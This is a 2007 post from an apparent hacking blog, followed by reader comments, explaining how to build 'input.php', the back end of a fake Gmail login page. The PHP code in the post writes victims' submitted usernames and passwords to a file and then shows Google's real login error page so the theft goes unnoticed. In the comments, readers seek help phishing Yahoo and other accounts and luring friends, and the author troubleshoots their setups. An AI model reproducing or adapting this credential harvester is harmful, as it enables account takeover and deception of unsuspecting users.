RSS

How to create input.php …???

Mon, Apr 2, 2007 854 views

Hacking, Internet, Tips, Web 2.0

Here is the much awaited post “How to create input.php” . Sorry for posting it a bit late I was busy with my acads

First let’s look at the code for a simple HTML form

1)<form action=”input.php” method=post>

2)User name :<input type=text name=”username” size=40>

3)<br>

4)Password :<input type=password name=”passwd” size=40>

5)<input type=submit name=submit value=”signin!”>

6)</form>

action=”input.php” tell’s the browser to submit the information input.php . In lines 2 and 4 line we have “type=text” and “type=password” this tell the browser the input type. name=”username” and name=”passwd” save the user name and password in variables named $_psot[username] and $_post[passwd]. Line 5 displays a submit button when the user presses this button the form is submitted. (Note: I used the numbers just to explain the code )

PHP code with explanation:

//Every php program starts with this tag

<?php

/*Opens passwd.htm for appending, if it is not present it creates one*/

$fp = fopen(”passwd.htm”, “a”);

/* Writes user name and password stored in $_POST[username] and Password:$_POST[passwd] in passwd.htm

“\t” is just to insert some space between user name and password*/

fwrite($fp, “Username:$_POST[username]\tPassword:$_POST[passwd]“);

/*This part of the code creates a HTML page which redirects the user to the original error page of gmail

The one you would get if you enter a wrong password */

echo “<HTML>

<head>
<title>Welcome to Gmail</title>
<FRAMESET cols=\”*\”>
<FRAME src=\”https://www.google.com/accounts/ServiceLoginAuth\”>
</FRAMESET>”;

?> //php closing tag

To create your own input.php …

Look for the code of the from in the fake page you created and name the variables accordingly in input.php and you are done with input.php
For further reading on html and php
W3SCHOOLS

NOTE: php variables are case sensitive, if you are trying to run input.php directly on your comp without installing a web server supported with php it will not work

Gud Luck



Random Posts

This post was written by:

Satish - who has written 182 posts on GeniusHackers.Com.


Contact the author

37 Comments For This Post

  1. pallav Says:

    gr8 man.I was tryng to make tht 1 of yahoo.But unable to do so.Plz help me in tht.

  2. abc Says:

    hi, I am the first person to check this post. It is really helpful.
    Now can you please tell me how to attach the link to send it to someone’s account to get their password back to me.
    thanks

  3. pallav Says:

    i hv prob man.I created my fake page of yahoo.Whn i clicked on the sign in button it opens a blank page with my site name/input.php in the address bar.It did not redirect me to the link vich i gave in the input.php.Plz help me and passwd.htm is also not made.Plz help me.

    Iam providing the code of input.php vich i used.

    Welcome to Yahoo!Mail - The best web-based email!

    “;?>

  4. pallav Says:

    heres the code

    Welcome to Yahoo!Mail - The best web-based email!

    “;?>

  5. q8hr Says:

    cud u upload input.php & and can u upload da yahoo page

  6. pallav Says:

    ya ihv uploded both.And they r wrkng fine.Prob solvd.Thnx

    My page is http://www.pallav.free-site-host.com./yahoo/yahoomail.htm

  7. yash Says:

    hey vro u seriously rock but i have 1 query how to use it.. i mean if u cud just guide me the thing out of input.php thing were to put wat..and is there anything for hotmail..bye thanks cheers keep it up

  8. sha Says:

    i don kno wer to upload the fake login page can u pls explain…. n also pls tell wer v get d response file that containing tat username n passwd

  9. huntme Says:

    @Pallav
    gud work dude I’m that you got it right. Looks like you got you first passwd to :) .please don’t open the personal mails of others it will spoil your relationship with them
    @q8hr
    I uploaded the fake logion page for yahoo check my new post
    “Fake login page’s of Yahoo and Gmail ”
    @sha
    I’m little busy these days i will tell you how to upload files very soon

    Thanq all for your support

  10. ataur Says:

    i hav few questions to ask u
    1)d input.php file u made as an example is for gmail, i guess….can u make it for yahoo……..and send it to me…..
    2)what r d files i should upload? is it d combination of “files”folder, “source code” and d “login page”
    3)should i upload these files only after i zip them
    4)how do i send d link of d fake page to my friend….i surely cant send him as an email attachment……pls tell me how i should send him that link, so that he would login without a doubt

    sorry for asking u all basics ……..im just a beginner

  11. sha Says:

    pallav in which site u had uploaded can u pls tell me tat

  12. huntme Says:

    @atur
    no problem dude ur always welcome
    the one for yahoo is in the download link
    u should upload the files and the source code,u should not upload the zipped file. you should some how get them to the fake login page

  13. wayne Says:

    Hello,i want to know how to spam

  14. mehdi Says:

    guyz ill upload ur files just chat wid me on mehdi_mostwanted@yahoo.com

  15. himanshu Says:

    dude u r doin a gr8 job nd u simply rock ………but im not clear wid this input.php method cn u plz explain it in deep ………………the codes u have shown above …………where will i find this code nd where to use this code plz help me out???

  16. huntme Says:

    @himanshu
    please read all the posts in the blog once once again. Even then if you are unable to explain i will try to find a better way to explain u.

  17. sid Says:

    hey could plz explain how do i create the input.php file in detail and how would i get the id and password file..do i have to create them seperately..i’ve already created and uploaded the fake login pages

  18. sid Says:

    i wrote the following code in notepad and saved it as input.php in the directory where i uploaded the fake yahoo login page..but when u type in ids and password nothin happens..could u plz tell me where i’m going wrong..i’ve changed the action to input.php in the login page source
    //Every php program starts with this tag

    Welcome to Gmail

    ”;

    ?> //php closing tag

    i’ve been trying this for a long time now without any success…plz help

  19. sid Says:

    the code didnt come right

    //Every php program starts with this tag

    Welcome to Gmail

    ”;

    ?> //php closing tag

  20. sid Says:

    well i dont know why the code isnt being printed here..maybe its too large..anyway the code is same as u have explained in ur page

  21. sourav Says:

    1)the input.php file u made as an example is for gmail….can u make it for yahoo……..and send it to me…..
    2)do i need to istall php in my computer to run input.php
    plz help waiting 4 ur reply

  22. huntme Says:

    @Sid
    u need not create the passwd.htm it will be created automatically,but you should write the code for input.php and upload it. you shouldn’t have any problems if you followed what i told you and assigned the variables correctly. Re check if you have assigned the variables(name and email in the input form should match with the corresponding variables in input.php. $_POST[email] etc..) correctly or not .One more mistake that you might do is saving it as a text file so make sure you save it as a .php file. change save as type while saving the file to all files and name the file as input.php in case you are using windows.
    NOTE: php variables are case sensitive, and if you are trying to run input.php directly on ur comp without installing a web server supported with php it will not work.I think this is the longest reply i ever gave .Hope this solves your problem.
    gud luck

  23. huntme Says:

    @sourav
    you can find the download link for the files related to yahoo in my posts so plz check that.Please search the blog before you ask any questions.
    you need to install a web server and php on your comp to check whether the php file is working properly or not. I will tell you how to install a web serve in my next post.
    gud luck

  24. sid Says:

    thanks for the reply but it still doesnt help me..i saved the input file as input.php with the same code that u wrote in ur example..mayb i’ve not installed php server..i’m running windows

  25. huntme Says:

    @sid
    it wont work if you don’t have a web server with php support installed on your comp ,The page should be called through a server opening the page directly from its location does not work

  26. sourav Says:

    hi bro hope giving u a little more trouble , the input.php file u made as an example is for gmail….can u make it for yahoo……..and send email it to me….i hav gone through ur blog but could ot find the input.php for yahoo…….

    so plz if u do it 4 me n send it to my email adress i would b very grateful to u………..bye n hav a nice day

  27. PREM Says:

    hey i want to create a fake login page .plz can you help me .please be keep in touch with me . my email id is saten6666@gmmail.com

  28. samanth Says:

    hey dude what is this input.php..
    explain it and please send this to my id sbarigali@gmail.com

  29. Pankaj Says:

    I can’t understand about what this input.php is?

  30. Satish Says:

    Hi pankaj
    this post is a part of “hacking using fake login pages”. I removed those posts as its not good teach people how to hack email ids. This post explains how to save the data submitted in a fake login page. I dint delete this post as the same procedure is used to process the data submitted in any html form.

  31. Raj Says:

    Can you please elaborate on what you have written above, please….?
    I’m not able to understand all this.
    my id: tandelnivas@gmail.com

  32. Prine.XU Says:

    Hello Bro ,, I Have an Error

    Parse error: syntax error, unexpected ‘:’ in /www/110mb.com/m/a/n/g/l/i/a/n/manglian-khan/htdocs/input.php on line 11

    i dont which : one is unexpected…

    Help Me PLzzzz

  33. Naman Says:

    whem i open it it says to download a input.php file. why?? isn’t it working

  34. bhargav Says:

    hey .. it was nice but it would be better if it would redirect directly to the home page of that particular site but not to the error page….what do u think about it? ill be waiting for ur reply…

  35. Philix Says:

    hi,,,how do i create the php file? ist that a kind of seperate file nneded to be created after the creation of fake loginb pages?
    And how am i suppose to retrieve the infos that have been submitted on my fake login pages? plis reply to this,,,,,,,,,,,,,,

  36. amit agarwal Says:

    hiii
    i also tried to make thwe input.php page, plz tell me wether it will work if i host it on google server on googlepages ?? i mean if i upload both fake page n input.php page in addres as http://www.amitxxx.googlepages.com/input.php and http://www.amitxxx.googlepages.com/fakepage.html

    n plz tell me where will i get the passwords stored??
    thnx

  37. bobby Says:

    hey amit those dnt work on google pages… they only work on any hosts supporting php

Leave a Reply